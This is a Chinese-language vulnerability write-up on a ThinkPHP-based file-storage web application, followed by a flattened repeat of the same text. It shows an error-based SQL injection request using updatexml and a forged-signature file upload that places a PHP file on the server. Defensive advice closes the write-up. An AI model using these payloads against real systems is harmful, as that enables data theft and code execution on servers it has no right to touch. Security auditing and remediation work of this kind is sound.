记一次0.5day分析
字数 1186 2025-08-06 00:52:37

ThinkPHP框架安全漏洞分析与利用

1. 路由分析

1.1 路由定位

  • 应用目录结构清晰,主要功能位于application目录下
  • 登录接口/user/login/对应index目录下的User.phplogin方法
  • 路由定义文件位于/route/route.php,对index模块进行了特殊定义

1.2 路由访问规则

  • 访问/s:code会调用index/share方法
  • :code作为占位符会自动绑定参数,防止注入
  • 必须遵循框架定义的路由规则进行访问

2. SQL注入漏洞分析

2.1 漏洞位置

  • 位于后台index模块的file文件的list()方法
  • 可控参数:folder.idsearch

2.2 漏洞成因

  1. 代码使用fetchSql(true)获取SQL语句但不执行
  2. 未执行的SQL语句中的特殊字符(如单引号)不会被转义
  3. 通过UNION拼接SQL语句时产生注入

2.3 关键代码分析

$ttt = db('stores')
    ->where(['parent_folder'=>$folder_id])
    ->where('origin_name','like','%'.$search.'%')
    ->field('id,uid,shares_id,origin_name as name,ext,size,count_down,count_open,update_time')
    ->select();

2.4 漏洞利用

  • 构造恶意folder_id参数实现注入
  • 示例攻击报文:
GET /file/list?folder_id=1-updatexml(1,concat(0x7e,database(),0x7e),1)&search=&page=&rows= HTTP/1.1
Host: wp.com
...

3. 文件上传漏洞分析

3.1 漏洞位置

  • 文件上传功能位于public/server/index.php
  • 使用move_uploaded_file函数实现文件上传
  • protected权限修饰,通过start()方法调用

3.2 签名验证机制

  1. 需要两个参数:$command$sign

  2. 验证流程:

    • 获取HTTP参数数组的hash
    • 与传入的$sign进行比较
    • $sign不作为$params传参
  3. 签名生成逻辑:

// 示例签名生成
echo md5("md=upload&uid=1asdasfasfasfasfasfa");
  • 使用配置中的token值asdasfasfasfasfasfa进行拼接

3.3 文件上传流程

  1. 验证签名通过后调用upload_file函数
  2. 接受uid参数
  3. 上传后通过upload_notify返回文件路径信息

3.4 漏洞利用

  1. 构造有效的签名:
echo md5("md=upload&notify=http://127.0.0.1:8877/&uid=1asdasfasfasfasfasfa");
  1. 攻击报文示例:
POST /server/index.php/start?md=upload&uid=1&notify=http://127.0.0.1:8877/&sign=88c03d47ed5a1df9ed7ed9e1c1ce8afd HTTP/1.1
Host: wp.com
Content-Type: multipart/form-data; boundary=570796120375390059114427

--570796120375390059114427
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/x-httpd-php

<?php phpinfo(); ?>
--570796120375390059114427--

4. 防御建议

4.1 SQL注入防御

  • 避免使用fetchSql(true)获取未转义的SQL语句
  • 对所有用户输入进行严格的过滤和转义
  • 使用参数绑定或预编译语句

4.2 文件上传防御

  • 加强签名验证机制,确保不可伪造
  • 限制上传文件类型,检查文件内容
  • 不要将上传路径通过外部请求泄露
  • 对上传文件进行重命名,避免直接使用用户提供的文件名

5. 总结

  1. 代码审计要点

    • 仔细分析路由定义和访问规则
    • 关注数据库操作中fetchSql的使用
    • 检查文件上传功能的签名验证机制
  2. 调试技巧

    • 使用数据库监控观察实际执行的SQL语句
    • 打印中间变量和SQL语句进行调试
    • 本地搭建环境验证漏洞利用链
  3. 框架特性

    • 熟悉ThinkPHP框架的特殊语法和函数
    • 理解框架的安全机制和潜在绕过方式
    • 关注框架文档中的安全建议和最佳实践
ThinkPHP框架安全漏洞分析与利用 1. 路由分析 1.1 路由定位 应用目录结构清晰,主要功能位于 application 目录下 登录接口 /user/login/ 对应 index 目录下的 User.php 的 login 方法 路由定义文件位于 /route/route.php ,对 index 模块进行了特殊定义 1.2 路由访问规则 访问 /s:code 会调用 index/share 方法 :code 作为占位符会自动绑定参数,防止注入 必须遵循框架定义的路由规则进行访问 2. SQL注入漏洞分析 2.1 漏洞位置 位于后台 index 模块的 file 文件的 list() 方法 可控参数: folder.id 和 search 2.2 漏洞成因 代码使用 fetchSql(true) 获取SQL语句但不执行 未执行的SQL语句中的特殊字符(如单引号)不会被转义 通过 UNION 拼接SQL语句时产生注入 2.3 关键代码分析 2.4 漏洞利用 构造恶意 folder_id 参数实现注入 示例攻击报文: 3. 文件上传漏洞分析 3.1 漏洞位置 文件上传功能位于 public/server/index.php 使用 move_uploaded_file 函数实现文件上传 受 protected 权限修饰,通过 start() 方法调用 3.2 签名验证机制 需要两个参数: $command 和 $sign 验证流程: 获取HTTP参数数组的hash 与传入的 $sign 进行比较 $sign 不作为 $params 传参 签名生成逻辑: 使用配置中的token值 asdasfasfasfasfasfa 进行拼接 3.3 文件上传流程 验证签名通过后调用 upload_file 函数 接受 uid 参数 上传后通过 upload_notify 返回文件路径信息 3.4 漏洞利用 构造有效的签名: 攻击报文示例: 4. 防御建议 4.1 SQL注入防御 避免使用 fetchSql(true) 获取未转义的SQL语句 对所有用户输入进行严格的过滤和转义 使用参数绑定或预编译语句 4.2 文件上传防御 加强签名验证机制,确保不可伪造 限制上传文件类型,检查文件内容 不要将上传路径通过外部请求泄露 对上传文件进行重命名,避免直接使用用户提供的文件名 5. 总结 代码审计要点 : 仔细分析路由定义和访问规则 关注数据库操作中 fetchSql 的使用 检查文件上传功能的签名验证机制 调试技巧 : 使用数据库监控观察实际执行的SQL语句 打印中间变量和SQL语句进行调试 本地搭建环境验证漏洞利用链 框架特性 : 熟悉ThinkPHP框架的特殊语法和函数 理解框架的安全机制和潜在绕过方式 关注框架文档中的安全建议和最佳实践